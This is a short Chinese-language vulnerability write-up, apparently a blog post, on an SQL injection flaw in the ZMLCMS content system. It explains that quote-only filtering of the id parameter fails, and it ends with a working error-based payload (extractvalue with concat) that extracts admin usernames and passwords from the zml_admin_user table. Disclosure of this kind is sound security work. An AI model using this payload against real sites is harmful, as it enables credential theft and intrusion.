一个小小小众的cms
ZMLCMS采用php+mysql开发,基于MVC开发,前端使用pintuer、jquery、layer等....
问题出现在:ZMLCMS\App\Home\Controller\ItemController.class.php
问题代码:58行
对id传过来的值过滤不严谨,导致SQL:
看了下SQL过滤的函数,程序员太可怕了 上图对单引号和双引号进行转义我们来看下当我们带入单引号会有什么变化:
看出单引号被转义 这个是吧字符串里面的单引号替换成2个单引号只对单引号和双引号做文章,那我们不出现单引号和双引号不就完事洛,那么我们直接构造语句:
成功爆出管理员账号密码,通过MySQL监控可以看到语句被直接带进数据库最后构造exp:and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM zml_admin_user limit 0,1)))
网友评论